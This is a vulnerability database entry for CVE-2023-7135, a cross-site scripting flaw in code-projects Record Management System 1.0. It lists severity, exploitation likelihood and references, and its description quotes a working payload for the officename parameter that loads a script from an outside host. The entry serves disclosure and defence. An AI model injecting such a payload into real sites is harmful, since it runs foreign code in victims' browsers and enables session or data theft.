CVE-2023-7135

MEDIUM 5.4CVE-2023-7135 · Published 28/12/2023 · updated 17/06/2026

In short

CVE-2023-7135 is a MEDIUM (CVSS 5.4) vulnerability affecting record management system (code-projects).
Chance of exploitation in the next 30 days (EPSS): 0.49%, higher than 42.2% of all vulnerabilities.
No patched version is listed yet: follow the vendor's advisory in References.

Package	Affected versions	Patched versions
record management system code-projects	`= 1.0`	No fix yet

Description

A vulnerability classified as problematic has been found in code-projects Record Management System 1.0. Affected is an unknown function of the file /main/offices.php of the component Offices Handler. The manipulation of the argument officename with the input "><script src="https://js.rip/b23tmbxf49"></script> leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249138 is the identifier assigned to this vulnerability.

References

h4md153v63n/CVEs · Exploit
vuldb.com · Third Party Advisory
vuldb.com · Third Party Advisory

More vulnerabilities in record management system

See all →

Running one of these products? Scan your site to see whether it exposes a vulnerable version.

Scan my site free